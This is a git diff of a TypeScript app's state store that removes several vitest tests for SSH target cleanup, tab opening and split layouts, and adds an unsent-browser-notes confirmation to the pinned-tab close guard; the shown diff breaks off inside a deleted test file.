diff --git a/src/renderer/src/store/slices/ssh/ssh.test.ts b/src/renderer/src/store/slices/ssh/ssh.test.ts
deleted file mode 100644
index 5006d4416fc..00000000000
--- a/src/renderer/src/store/slices/ssh/ssh.test.ts
+++ /dev/null
@@ -1,214 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { toAppSshPtyId } from '../../../../../shared/ssh-pty-id'
-import { createTestStore } from '../../testing/app-store-test-fixture'
-import { makeTab } from '../../terminals/terminal-tab.test-fixture'
-import { makeWorktree } from '../worktrees/worktree.test-fixture'
-import { TEST_REPO } from '../../repos/repo.test-fixture'
-
-describe('createSshSlice', () => {
-  it('clears renderer state and deferred reconnect metadata for a removed SSH target', () => {
-    const store = createTestStore()
-    const targetId = 'ssh-1'
-    const otherTargetId = 'ssh-2'
-    const worktreeId = 'repo-ssh::/remote/project'
-    const otherWorktreeId = 'repo-other::/remote/project'
-    const removedPtyId = toAppSshPtyId(targetId, 'pty-live')
-    const staleLastKnownPtyId = toAppSshPtyId(targetId, 'pty-last-known')
-    const otherPtyId = toAppSshPtyId(otherTargetId, 'pty-other')
-
-    store.setState({
-      repos: [
-        { ...TEST_REPO, id: 'repo-ssh', connectionId: targetId },
-        { ...TEST_REPO, id: 'repo-other', connectionId: otherTargetId }
-      ],
-      worktreesByRepo: {
-        'repo-ssh': [makeWorktree({ id: worktreeId, repoId: 'repo-ssh' })],
-        'repo-other': [makeWorktree({ id: otherWorktreeId, repoId: 'repo-other' })]
-      },
-      tabsByWorktree: {
-        [worktreeId]: [
-          makeTab({
-            id: 'tab-ssh',
-            worktreeId,
-            ptyId: removedPtyId,
-            pendingActivationSpawn: true
-          })
-        ],
-        [otherWorktreeId]: [
-          makeTab({ id: 'tab-other', worktreeId: otherWorktreeId, ptyId: otherPtyId }),
-          makeTab({ id: 'tab-stale-last-known', worktreeId: otherWorktreeId })
-        ]
-      },
-      ptyIdsByTabId: {
-        'tab-ssh': [removedPtyId],
-        'tab-other': [otherPtyId]
-      },
-      lastKnownRelayPtyIdByTabId: {
-        'tab-ssh': removedPtyId,
-        'tab-stale-last-known': staleLastKnownPtyId,
-        'tab-other': otherPtyId
-      },
-      pendingPaneAccountRestarts: {
-        [removedPtyId]: 'codex',
-        [otherPtyId]: 'codex'
-      },
-      codexRestartNoticeByPtyId: {
-        [removedPtyId]: { previousAccountLabel: 'Old', nextAccountLabel: 'New' },
-        [otherPtyId]: { previousAccountLabel: 'Other old', nextAccountLabel: 'Other new' }
-      },
-      sshConnectionStates: new Map([
-        [targetId, { targetId, status: 'disconnected', error: null, reconnectAttempt: 0 }],
-        [
-          otherTargetId,
-          { targetId: otherTargetId, status: 'connected', error: null, reconnectAttempt: 0 }
-        ]
-      ]),
-      sshTargetLabels: new Map([
-        [targetId, 'Removed target'],
-        [otherTargetId, 'Other target']
-      ]),
-      portForwardsByConnection: {
-        [targetId]: [
-          {
-            id: 'pf-1',
-            connectionId: targetId,
-            localPort: 3000,
-            remoteHost: '127.0.0.1',
-            remotePort: 3000
-          }
-        ],
-        [otherTargetId]: [
-          {
-            id: 'pf-2',
-            connectionId: otherTargetId,
-            localPort: 4000,
-            remoteHost: '127.0.0.1',
-            remotePort: 4000
-          }
-        ]
-      },
-      detectedPortsByConnection: {
-        [targetId]: [{ port: 3000, host: '127.0.0.1' }],
-        [otherTargetId]: [{ port: 4000, host: '127.0.0.1' }]
-      },
-      sshCredentialQueue: [
-        { requestId: 'req-1', targetId, kind: 'passphrase', detail: 'key' },
-        { requestId: 'req-2', targetId: otherTargetId, kind: 'password', detail: 'password' }
-      ],
-      deferredSshReconnectTargets: [targetId, otherTargetId],
-      transientClearedAgentStatusConnectionIds: {
-        [targetId]: true,
-        [otherTargetId]: true
-      },
-      deferredSshSessionIdsByTabId: {
-        'tab-ssh': 'legacy-session-without-target-prefix',
-        'tab-stale-encoded': toAppSshPtyId(targetId, 'pty-1'),
-        'tab-other': toAppSshPtyId(otherTargetId, 'pty-2')
-      },
-      // Pending reconnect counts as orphan-sweep liveness; removal must clear it or pin the dead tab (#9911).
-      pendingReconnectPtyIdByTabId: {
-        'tab-ssh': toAppSshPtyId(targetId, 'pty-1'),
-        'tab-stale-encoded': toAppSshPtyId(targetId, 'pty-9'),
-        'tab-other': toAppSshPtyId(otherTargetId, 'pty-2')
-      }
-    })
-
-    store.getState().clearRemovedSshTargetState(targetId)
-
-    const state = store.getState()
-    expect(state.sshConnectionStates.has(targetId)).toBe(false)
-    expect(state.sshTargetLabels.has(targetId)).toBe(false)
-    expect(state.portForwardsByConnection[targetId]).toBeUndefined()
-    expect(state.detectedPortsByConnection[targetId]).toBeUndefined()
-    expect(state.sshCredentialQueue.map((req) => req.targetId)).toEqual([otherTargetId])
-    expect(state.deferredSshReconnectTargets).toEqual([otherTargetId])
-    expect(state.transientClearedAgentStatusConnectionIds).toEqual({
-      [otherTargetId]: true
-    })
-    expect(state.deferredSshSessionIdsByTabId).toEqual({
-      'tab-other': toAppSshPtyId(otherTargetId, 'pty-2')
-    })
-    expect(state.pendingReconnectPtyIdByTabId).toEqual({
-      'tab-other': toAppSshPtyId(otherTargetId, 'pty-2')
-    })
-    expect(state.tabsByWorktree[worktreeId][0]).toMatchObject({ id: 'tab-ssh', ptyId: null })
-    expect('pendingActivationSpawn' in state.tabsByWorktree[worktreeId][0]).toBe(false)
-    expect(state.ptyIdsByTabId['tab-ssh']).toEqual([])
-    expect(state.lastKnownRelayPtyIdByTabId['tab-ssh']).toBeUndefined()
-    expect(state.lastKnownRelayPtyIdByTabId['tab-stale-last-known']).toBeUndefined()
-    expect(state.pendingPaneAccountRestarts[removedPtyId]).toBeUndefined()
-    expect(state.codexRestartNoticeByPtyId[removedPtyId]).toBeUndefined()
-
-    expect(state.sshConnectionStates.get(otherTargetId)?.status).toBe('connected')
-    expect(state.sshTargetLabels.get(otherTargetId)).toBe('Other target')
-    expect(state.portForwardsByConnection[otherTargetId]).toHaveLength(1)
-    expect(state.detectedPortsByConnection[otherTargetId]).toHaveLength(1)
-    expect(state.tabsByWorktree[otherWorktreeId][0]?.ptyId).toBe(otherPtyId)
-    expect(state.ptyIdsByTabId['tab-other']).toEqual([otherPtyId])
-    expect(state.lastKnownRelayPtyIdByTabId['tab-other']).toBe(otherPtyId)
-    expect(state.pendingPaneAccountRestarts[otherPtyId]).toBe('codex')
-    expect(state.codexRestartNoticeByPtyId[otherPtyId]).toEqual({
-      previousAccountLabel: 'Other old',
-      nextAccountLabel: 'Other new'
-    })
-  })
-
-  it("preserves another SSH target's terminal bindings when repo ids collide", () => {
-    const store = createTestStore()
-    const removedTargetId = 'target-a'
-    const survivingTargetId = 'target-b'
-    const removedWorktreeId = 'shared::/srv/a/work'
-    const survivingWorktreeId = 'shared::/srv/b/work'
-    const removedPtyId = toAppSshPtyId(removedTargetId, 'pty-a')
-    const survivingPtyId = toAppSshPtyId(survivingTargetId, 'pty-b')
-
-    store.setState({
-      repos: [
-        {
-          ...TEST_REPO,
-          id: 'shared',
-          connectionId: removedTargetId,
-          executionHostId: 'ssh:target-a'
-        },
-        {
-          ...TEST_REPO,
-          id: 'shared',
-          connectionId: survivingTargetId,
-          executionHostId: 'ssh:target-b'
-        }
-      ],
-      worktreesByRepo: {
-        shared: [
-          makeWorktree({
-            id: removedWorktreeId,
-            repoId: 'shared',
-            hostId: 'ssh:target-a'
-          }),
-          makeWorktree({
-            id: survivingWorktreeId,
-            repoId: 'shared',
-            hostId: 'ssh:target-b'
-          })
-        ]
-      },
-      tabsByWorktree: {
-        [removedWorktreeId]: [
-          makeTab({ id: 'tab-a', worktreeId: removedWorktreeId, ptyId: removedPtyId })
-        ],
-        [survivingWorktreeId]: [
-          makeTab({ id: 'tab-b', worktreeId: survivingWorktreeId, ptyId: survivingPtyId })
-        ]
-      },
-      ptyIdsByTabId: { 'tab-a': [removedPtyId], 'tab-b': [survivingPtyId] },
-      lastKnownRelayPtyIdByTabId: { 'tab-a': removedPtyId, 'tab-b': survivingPtyId }
-    })
-
-    store.getState().clearRemovedSshTargetState(removedTargetId)
-
-    const state = store.getState()
-    expect(state.tabsByWorktree[removedWorktreeId][0]?.ptyId).toBeNull()
-    expect(state.tabsByWorktree[survivingWorktreeId][0]?.ptyId).toBe(survivingPtyId)
-    expect(state.ptyIdsByTabId['tab-b']).toEqual([survivingPtyId])
-    expect(state.lastKnownRelayPtyIdByTabId['tab-b']).toBe(survivingPtyId)
-  })
-})
diff --git a/src/renderer/src/store/slices/tabs/closing/pinned-tab-close-guard.ts b/src/renderer/src/store/slices/tabs/closing/pinned-tab-close-guard.ts
index a321563c0f4..3616159b261 100644
--- a/src/renderer/src/store/slices/tabs/closing/pinned-tab-close-guard.ts
+++ b/src/renderer/src/store/slices/tabs/closing/pinned-tab-close-guard.ts
@@ -28,21 +28,18 @@ export function shouldConfirmPinnedTabClose(state: AppState): boolean {
   return state.settings?.confirmClosePinnedTab ?? true
 }
 
-/** Centralize pin confirmation across keyboard/native/menu paths; unpinned or disabled-confirmation closes proceed immediately. */
+/** Centralize close confirmation across keyboard/native/menu/CLI paths: unsent browser notes always ask; pins ask unless turned off. */
 export function guardPinnedTabClose(params: {
   isPinned: boolean
   tabLabel: string
   onClose: () => void
   onCancel?: () => void
+  /** The tab holds browser notes the user has not sent; closing discards them. */
+  unsentNotes?: boolean
 }): (() => void) | undefined {
-  const { isPinned, tabLabel, onClose, onCancel } = params
-  if (!isPinned) {
-    onClose()
-    return undefined
-  }
-
+  const { isPinned, tabLabel, onClose, onCancel, unsentNotes } = params
   const state = useAppStore.getState()
-  if (!shouldConfirmPinnedTabClose(state)) {
+  if (!unsentNotes && (!isPinned || !shouldConfirmPinnedTabClose(state))) {
     onClose()
     return undefined
   }
@@ -50,7 +47,8 @@ export function guardPinnedTabClose(params: {
   const request = {
     tabLabel,
     onConfirm: onClose,
-    ...(onCancel ? { onCancel } : {})
+    ...(onCancel ? { onCancel } : {}),
+    ...(unsentNotes ? { unsentNotes: true as const } : {})
   }
   state.requestPinnedTabCloseConfirm(request)
   return () => state.cancelPinnedTabCloseRequest(request)
diff --git a/src/renderer/src/store/slices/tabs/content-tabs-from-main-frames.test.ts b/src/renderer/src/store/slices/tabs/content-tabs-from-main-frames.test.ts
index c380d8040a3..fdde7e9839f 100644
--- a/src/renderer/src/store/slices/tabs/content-tabs-from-main-frames.test.ts
+++ b/src/renderer/src/store/slices/tabs/content-tabs-from-main-frames.test.ts
@@ -86,28 +86,6 @@ async function openHeld(open: () => string): Promise<string> {
 }
 
 describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('content tabs drawn from main’s frames', () => {
-  it('shows a browser tab, its label and page only once main’s frame drew it, then selects it', async () => {
-    const id = await openHeld(
-      () => store.getState().createBrowserTab(WT, 'https://example.com/', { title: 'Example' }).id
-    )
-    const entry = tabOf(id)!
-    expect(entry).toMatchObject({ contentType: 'browser', label: 'Example', groupId: ROOT })
-    expect(layoutApplyTestTransport.sentOfType('openBrowserTab')[0]).toMatchObject({
-      tabId: entry.id,
-      browserTabId: id,
-      groupId: ROOT
-    })
-    const pages = store.getState().browserPagesByWorkspace[id]!
-    expect(pages.map((page) => page.url)).toEqual(['https://example.com/'])
-    expect(store.getState().browserTabsByWorktree[WT]?.[0]).toMatchObject({
-      id,
-      pageIds: [pages[0]!.id],
-      title: 'Example'
-    })
-    expect(store.getState().groupsByWorktree[WT]?.[0]?.activeTabId).toBe(entry.id)
-    expect(store.getState().activeBrowserTabIdByWorktree[WT]).toBe(id)
-  })
-
   it('closes a browser tab once main did, keeps it on the reopen list, and reopens it', async () => {
     const id = store.getState().createBrowserTab(WT, 'https://example.com/', { title: 'Ex' }).id
     await main.settle()
@@ -137,34 +115,6 @@ describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('content tabs drawn from main’s fram
     )
   })
 
-  it('adds, converts and closes a page and switches a profile only once main did', async () => {
-    const id = store.getState().createBrowserTab(WT, 'https://a.test/').id
-    await main.settle()
-    layoutApplyTestTransport.answerWith('pending')
-    const page = store.getState().createBrowserPage(id, 'https://b.test/')!
-    await main.settle()
-    expect(store.getState().browserPagesByWorkspace[id]).toHaveLength(1)
-    layoutApplyTestTransport.answerWith('apply')
-    layoutApplyTestTransport.answerPending()
-    await main.settle()
-    expect(store.getState().browserPagesByWorkspace[id]?.map((p) => p.id)).toContain(page.id)
-    expect(layoutApplyTestTransport.sentOfType('openBrowserPage')).toEqual([
-      expect.objectContaining({ browserTabId: id, pageId: page.id })
-    ])
-
-    store.getState().closeBrowserPage(page.id)
-    await main.settle()
-    expect(store.getState().browserPagesByWorkspace[id]?.map((p) => p.id)).not.toContain(page.id)
-
-    store.getState().switchBrowserTabProfile(id, 'profile-2', 'persist:profile-2')
-    await main.settle()
-    expect(store.getState().browserTabsByWorktree[WT]?.[0]).toMatchObject({
-      sessionProfileId: 'profile-2',
-      sessionPartition: 'persist:profile-2'
-    })
-    expect(mainTabs().filter((tab) => tab.kind === 'browser')).toHaveLength(1)
-  })
-
   it('opens and closes a chat tab through main, and keeps one main refused to close', async () => {
     const sessionId = await openHeld(() => {
       openStructuredAgentSessionProvisionalTab({
@@ -192,39 +142,6 @@ describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('content tabs drawn from main’s fram
     expect(mainTabs().some((tab) => tab.entityId === sessionId)).toBe(false)
   })
 
-  it('closes a window-only tab of a workspace main does not hold, as main’s tab_not_found does', async () => {
-    const OTHER = 'repo1::/path/wt2'
-    const tab = {
-      id: 'browser-tab-1',
-      entityId: 'browser-1',
-      groupId: 'group-other',
-      worktreeId: OTHER,
-      contentType: 'browser' as const,
-      label: 'Page',
-      customLabel: null,
-      color: null,
-      sortOrder: 0,
-      createdAt: 1
-    }
-    seedStore(store, {
-      unifiedTabsByWorktree: { ...store.getState().unifiedTabsByWorktree, [OTHER]: [tab] },
-      groupsByWorktree: {
-        ...store.getState().groupsByWorktree,
-        [OTHER]: [{ id: 'group-other', worktreeId: OTHER, activeTabId: tab.id, tabOrder: [tab.id] }]
-      }
-    })
-    layoutApplyTestTransport.answerWith({ refuse: 'workspace_not_found' })
-
-    store.getState().closeUnifiedTab(tab.id)
-    await main.settle()
-
-    expect(layoutApplyTestTransport.sentOfType('closeTabs')).toEqual([
-      expect.objectContaining({ workspace: OTHER, tabIds: [tab.id] })
-    ])
-    expect(store.getState().unifiedTabsByWorktree[OTHER] ?? []).toEqual([])
-    layoutApplyTestTransport.answerWith('apply')
-  })
-
   it('opens a simulator tab to the right through main and surfaces it once drawn', async () => {
     store.getState().createBrowserTab(WT, 'about:blank')
     await main.settle()
diff --git a/src/renderer/src/store/slices/tabs/pinned-tab-close-confirm.ts b/src/renderer/src/store/slices/tabs/pinned-tab-close-confirm.ts
index 3dc0fcd5d97..61ba0a343c1 100644
--- a/src/renderer/src/store/slices/tabs/pinned-tab-close-confirm.ts
+++ b/src/renderer/src/store/slices/tabs/pinned-tab-close-confirm.ts
@@ -1,10 +1,12 @@
 import type { StateCreator } from 'zustand'
 import type { AppState } from '../../types'
 
-/** A pending request to confirm closing a pinned tab. `onConfirm` runs the
- *  original close once the user accepts; the label is shown in the dialog. */
+/** A pending request to confirm closing a pinned tab, or a browser tab holding unsent notes.
+ *  `onConfirm` runs the original close once the user accepts; the label is shown in the dialog. */
 export type PinnedTabCloseConfirmRequest = {
   tabLabel: string
+  /** Set when the prompt warns about unsent browser notes instead of a pin. */
+  unsentNotes?: true
   onConfirm: () => void
   onCancel?: () => void
 }
diff --git a/src/renderer/src/store/slices/tabs/store-open-to-side-layout-owner.test.ts b/src/renderer/src/store/slices/tabs/store-open-to-side-layout-owner.test.ts
index b2c66ea20e6..ee0973436f9 100644
--- a/src/renderer/src/store/slices/tabs/store-open-to-side-layout-owner.test.ts
+++ b/src/renderer/src/store/slices/tabs/store-open-to-side-layout-owner.test.ts
@@ -5,8 +5,8 @@ import { createTestStore, seedStore } from '../../testing/app-store-test-fixture
 import { makeWorktree } from '../worktrees/worktree.test-fixture'
 import { createStoreCascadesMockApi } from '../../testing/app-store-cascade-api.test-fixture'
 import '@/runtime/workspace-layout/commands/layout-owner-new-group-split'
-import { openContentTabThroughLayoutOwner } from '@/runtime/workspace-layout/intents/layout-owner-content-tab-open'
-import { contentTabOpenPlacement } from './content-tab-open-placement'
+import '@/runtime/workspace-layout/intents/layout-owner-content-tab-open'
+import './content-tab-open-placement'
 import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
 import type { TabGroupLayoutNode } from '../../../../../shared/tab-types'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
@@ -155,83 +155,4 @@ describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('open to the side in a layout-owner bu
     expect(mainView()).toEqual(windowView())
     expect(mainView().groups).toHaveLength(4)
   })
-
-  it('keeps the source split’s preview: a preview opened to the side replaces nothing', async () => {
-    openFile('/p.ts', { preview: true })
-    await settledSent()
-    const side = store.getState().createEmptySplitGroup(WT, ROOT, 'right')!
-    openFile('/q.ts', { preview: true, targetGroupId: side })
-    await settledSent()
-
-    expect(mainView()).toEqual(windowView())
-    expect(
-      layoutApplyTestTransport.mainModel!.workspaces[WT]!.tabs.filter((tab) => tab.isPreview)
-    ).toHaveLength(2)
-  })
-
-  it.each([
-    ['terminal', () => store.getState().createTab(WT, ROOT)],
-    ['editor', () => openFile('/c.ts', { targetGroupId: ROOT })],
-    [
-      'browser',
-      () => store.getState().createBrowserTab(WT, 'about:blank', { targetGroupId: ROOT })
-    ],
-    [
-      'chat',
-      () => {
-        // As openAgentSessionTabThroughLayoutOwner does, on this test's store.
-        const tabId = 'agent-session:chat-1'
-        const placement = contentTabOpenPlacement(store.getState(), WT, tabId, {
-          targetGroupId: ROOT
-        })!
-        openContentTabThroughLayoutOwner(store.getState(), {
-          worktreeId: WT,
-          entityId: 'chat-1',
-          command: {
-            type: 'openAgentSessionTab',
-            tabId,
-            sessionId: 'chat-1',
-            agent: 'codex',
-            ...placement
-          },
-          facts: { label: 'Codex' },
-          shown: () => {},
-          drawHere: () => null
-        })
-      }
-    ]
-  ])(
-    'opens a %s tab into the emptied root after its neighbour split again',
-    async (_kind, openIntoRoot) => {
-      // The splits beside the emptied root hold tabs, so main has only those.
-      store.getState().createTab(WT, undefined, undefined, {
-        split: { sourceGroupId: ROOT, splitDirection: 'right' }
-      })
-      const right = store.getState().groupsByWorktree[WT]!.at(-1)!.id
-      store.getState().createTab(WT, undefined, undefined, {
-        split: { sourceGroupId: right, splitDirection: 'down' }
-      })
-      await settledSent()
-
-      openIntoRoot()
-      await settledSent()
-      expect(mainView()).toEqual(windowView())
-    }
-  )
-
-  it('records opens into a split made off another empty split, beside the groups main holds', async () => {
-    openFile('/a.ts')
-    await settledSent()
-    const outer = store.getState().createEmptySplitGroup(WT, ROOT, 'right')!
-    const inner = store.getState().createEmptySplitGroup(WT, outer, 'down')!
-
-    // The inner group's sibling is the outer one, which main lacks until its own first tab.
-    openFile('/b.ts', { targetGroupId: inner })
-    await settledSent()
-    expect(mainView()).toEqual(windowView())
-    const again = store.getState().createEmptySplitGroup(WT, inner, 'up')!
-    openFile('/c.ts', { targetGroupId: again })
-    await settledSent()
-    expect(mainView()).toEqual(windowView())
-  })
 })
diff --git a/src/renderer/src/store/slices/tabs/tabs-close-actions.ts b/src/renderer/src/store/slices/tabs/tabs-close-actions.ts
index a49cc1de37c..27a1e4bae54 100644
--- a/src/renderer/src/store/slices/tabs/tabs-close-actions.ts
+++ b/src/renderer/src/store/slices/tabs/tabs-close-actions.ts
@@ -32,7 +32,7 @@ import { isEditorTabContentType } from '../editor/tabs/editor-tab-content-type'
 import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
 import { isTuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent-config'
 import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host'
-import { forgetDesktopCreatedServerTab } from '@/lib/desktop-created-server-tabs'
+import { forgetDesktopCreatedServerTab } from '@/store/workspace-layout/frames/desktop-created-server-tabs'
 import { replaceRecordEntries, replaceTabBuckets } from '../../keyed-record-transitions'
 
 export function createTabsCloseActions(
diff --git a/src/renderer/src/store/slices/tabs/tabs-open-close-lifecycle.test.ts b/src/renderer/src/store/slices/tabs/tabs-open-close-lifecycle.test.ts
index 62ae5a0cf80..b6ff5d40a03 100644
--- a/src/renderer/src/store/slices/tabs/tabs-open-close-lifecycle.test.ts
+++ b/src/renderer/src/store/slices/tabs/tabs-open-close-lifecycle.test.ts
@@ -5,10 +5,8 @@ import { buildMobileSessionTabSnapshots } from '../../../runtime/sync-runtime-gr
 import { closeMobileSessionTabInStore } from '../../../runtime/web-session-tabs-sync/closing/mobile-session-tab-close'
 import { createTabsSliceMockApi } from './tabs-slice-test-harness'
 import { createTestStore } from '../../testing/app-store-test-fixture'
-import { makeLayout, makeTab } from '../../terminals/terminal-tab.test-fixture'
 import { makeOpenFile } from '../editor/types/open-file.test-fixture'
 import { makeTabGroup, makeUnifiedTab } from './tab-group.test-fixture'
-import { makeBrowserTab } from '../browser/browser-tab.test-fixture'
 
 import { drawTabsFromMain } from './tabs-drawn-from-main.test-fixture'
 
@@ -37,21 +35,6 @@ createTabsSliceMockApi()
 
 const WT = 'repo1::/tmp/feature'
 
-/** The terminal row, browser record and open file main loads these tabs' entries with. */
-function seedContentRecords(
-  target: ReturnType<typeof createTestStore>,
-  ids: { terminalId: string; browserId?: string; fileId: string }
-): void {
-  target.setState({
-    tabsByWorktree: { [WT]: [makeTab({ id: ids.terminalId, worktreeId: WT })] },
-    terminalLayoutsByTabId: { [ids.terminalId]: makeLayout() },
-    browserTabsByWorktree: ids.browserId
-      ? { [WT]: [makeBrowserTab({ id: ids.browserId, worktreeId: WT, url: 'about:blank' })] }
-      : {},
-    openFiles: [makeOpenFile({ id: ids.fileId, worktreeId: WT })]
-  })
-}
-
 describe('TabsSlice', () => {
   let store: ReturnType<typeof createTestStore>
 
@@ -112,58 +95,5 @@ describe('TabsSlice', () => {
       expect(store.getState().openFiles).toEqual([])
       expect(buildMobileSessionTabSnapshots(store.getState())[0]?.tabs ?? []).toEqual([])
     })
-
-    it('closes a mobile fallback file-id tab after the unified wrapper is already gone', () => {
-      const file = makeOpenFile({
-        id: '/tmp/feature/src/app.ts',
-        filePath: '/tmp/feature/src/app.ts',
-        relativePath: 'src/app.ts',
-        language: 'typescript',
-        worktreeId: WT
-      })
-      store.setState({
-        openFiles: [file],
-        unifiedTabsByWorktree: { [WT]: [] },
-        groupsByWorktree: { [WT]: [] },
-        activeFileId: file.id,
-        activeFileIdByWorktree: { [WT]: file.id },
-        activeWorktreeId: WT,
-        activeTabType: 'editor',
-        activeTabTypeByWorktree: { [WT]: 'editor' }
-      })
-
-      expect(buildMobileSessionTabSnapshots(store.getState())[0]?.tabs).toMatchObject([
-        { id: file.id, type: 'file', filePath: file.filePath }
-      ])
-
-      expect(closeMobileSessionTabInStore(store.getState(), WT, file.id)).toBe(true)
-
-      expect(store.getState().openFiles).toEqual([])
-      expect(buildMobileSessionTabSnapshots(store.getState())[0]?.tabs ?? []).toEqual([])
-    })
-
-    it('activates the previously-active tab across content types', async () => {
-      seedContentRecords(store, { terminalId: 'term-1', browserId: 'browser-1', fileId: 'f.ts' })
-      const t1 = store.getState().createUnifiedTab(WT, 'terminal', { id: 'term-1' })
-      const t2 = store.getState().createUnifiedTab(WT, 'browser', { id: 'browser-1' })
-      const t3 = store.getState().createUnifiedTab(WT, 'editor', { id: 'f.ts' })
-      const main = await drawTabsFromMain(store)
-
-      // Visit order ...→t3→t1→t3; closing t3 should jump to t1, not browser neighbor t2.
-      store.getState().activateTab(t1.id)
-      store.getState().activateTab(t3.id)
-      store.getState().closeUnifiedTab(t3.id)
-      // A layout-owner build picks the previous tab once main's frame dropped the closed one.
-      await main.settle()
-      main.close()
-
-      expect(store.getState().groupsByWorktree[WT][0].activeTabId).toBe(t1.id)
-      expect(
-        store
-          .getState()
-          .unifiedTabsByWorktree[WT].map((t) => t.id)
-          .sort()
-      ).toEqual([t1.id, t2.id].sort())
-    })
   })
 })
diff --git a/src/renderer/src/store/slices/tabs/tabs-pane-layout-operations.test.ts b/src/renderer/src/store/slices/tabs/tabs-pane-layout-operations.test.ts
index 89825e8834f..31f18be5cea 100644
--- a/src/renderer/src/store/slices/tabs/tabs-pane-layout-operations.test.ts
+++ b/src/renderer/src/store/slices/tabs/tabs-pane-layout-operations.test.ts
@@ -24,38 +24,6 @@ describe('TabsSlice', () => {
     store = createTestStore()
   })
 
-  describe('setTabGroupSplitRatio', () => {
-    it('keeps state identity when the ratio is unchanged', () => {
-      store.setState({
-        layoutByWorktree: {
-          [WT]: {
-            type: 'split',
-            direction: 'horizontal',
-            ratio: 0.5,
-            first: { type: 'leaf', groupId: 'g-1' },
-            second: { type: 'leaf', groupId: 'g-2' }
-          }
-        }
-      })
-      const beforeState = store.getState()
-      const beforeLayout = beforeState.layoutByWorktree
-      const subscriber = vi.fn()
-      const unsubscribe = store.subscribe(subscriber)
-
-      // Why: an unchanged commit must not mint fresh root state — every store
-      // subscriber wakes on the new reference (STA-3328).
-      store.getState().setTabGroupSplitRatio(WT, '', 0.5)
-      expect(store.getState()).toBe(beforeState)
-      expect(store.getState().layoutByWorktree).toBe(beforeLayout)
-      expect(subscriber).not.toHaveBeenCalled()
-
-      store.getState().setTabGroupSplitRatio(WT, '', 0.5004)
-      expect(store.getState().layoutByWorktree).not.toBe(beforeLayout)
-      expect((store.getState().layoutByWorktree[WT] as { ratio: number }).ratio).toBe(0.5004)
-      unsubscribe()
-    })
-  })
-
   describe('move/copy/merge group operations', () => {
     it('creates a unified tab directly in a sibling split without publishing a source-group midpoint', () => {
       const terminal = store.getState().createUnifiedTab(WT, 'terminal', {
diff --git a/src/renderer/src/store/slices/tabs/tabs-split-create.test.ts b/src/renderer/src/store/slices/tabs/tabs-split-create.test.ts
deleted file mode 100644
index 5207055ee99..00000000000
--- a/src/renderer/src/store/slices/tabs/tabs-split-create.test.ts
+++ /dev/null
@@ -1,256 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type { AppState } from '../../types'
-import { createTabsSliceMockApi } from './tabs-slice-test-harness'
-import { createTestStore, seedStore } from '../../testing/app-store-test-fixture'
-import { makeWorktree } from '../worktrees/worktree.test-fixture'
-
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return {
-    ...actual,
-    detectAgentStatusFromTitle: vi.fn().mockReturnValue(null)
-  }
-})
-
-createTabsSliceMockApi()
-
-const WT = 'repo1::/path/wt1'
-const SPLIT = { sourceGroupId: 'unused', splitDirection: 'down' } as const
-
-type Store = ReturnType<typeof createTestStore>
-
-function seededStore(): { store: Store; sourceGroupId: string } {
-  const store = createTestStore()
-  seedStore(store, {
-    activeWorktreeId: WT,
-    worktreesByRepo: {
-      repo1: [makeWorktree({ id: WT, repoId: 'repo1', path: '/path/wt1' })]
-    }
-  })
-  store.getState().createTab(WT, undefined, undefined, { id: 'terminal-1' })
-  return { store, sourceGroupId: store.getState().groupsByWorktree[WT][0].id }
-}
-
-function newGroupId(state: AppState, sourceGroupId: string): string {
-  const group = state.groupsByWorktree[WT].find((entry) => entry.id !== sourceGroupId)
-  if (!group) {
-    throw new Error('expected a split group')
-  }
-  return group.id
-}
-
-/** Every published group's membership; an empty group would paint a blank pane. */
-function recordPublishedEmptyGroups(store: Store): { emptyGroups: string[] } {
-  const record: { emptyGroups: string[] } = { emptyGroups: [] }
-  store.subscribe((state) => {
-    for (const group of state.groupsByWorktree[WT] ?? []) {
-      if (group.tabOrder.length === 0) {
-        record.emptyGroups.push(group.id)
-      }
-    }
-  })
-  return record
-}
-
-describe('creating a tab directly into a new split', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-    vi.setSystemTime(new Date('2026-10-14T12:00:00Z'))
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-  })
-
-  it('terminal create fills and selects its split with split activation true', () => {
-    const atomic = seededStore()
-    const published = recordPublishedEmptyGroups(atomic.store)
-    atomic.store.getState().createTab(WT, undefined, undefined, {
-      id: 'terminal-2',
-      split: { ...SPLIT, sourceGroupId: atomic.sourceGroupId, activate: true }
-    })
-    const state = atomic.store.getState()
-    const splitGroupId = newGroupId(state, atomic.sourceGroupId)
-    expect(published.emptyGroups).toEqual([])
-    expect(state.groupsByWorktree[WT]).toEqual([
-      expect.objectContaining({ id: atomic.sourceGroupId, tabOrder: ['terminal-1'] }),
-      expect.objectContaining({
-        id: splitGroupId,
-        tabOrder: ['terminal-2'],
-        activeTabId: 'terminal-2'
-      })
-    ])
-    expect(state.unifiedTabsByWorktree[WT]).toContainEqual(
-      expect.objectContaining({
-        id: 'terminal-2',
-        entityId: 'terminal-2',
-        groupId: splitGroupId,
-        contentType: 'terminal'
-      })
-    )
-    expect(state.layoutByWorktree[WT]).toMatchObject({
-      type: 'split',
-      direction: 'vertical',
-      first: { type: 'leaf', groupId: atomic.sourceGroupId },
-      second: { type: 'leaf', groupId: splitGroupId }
-    })
-    expect(state.tabsByWorktree[WT].map((tab) => tab.id)).toEqual(['terminal-1', 'terminal-2'])
-    expect(state.activeGroupIdByWorktree[WT]).toBe(splitGroupId)
-    expect(state.activeTabId).toBe('terminal-2')
-    expect(state.activeTabIdByWorktree[WT]).toBe('terminal-2')
-  })
-
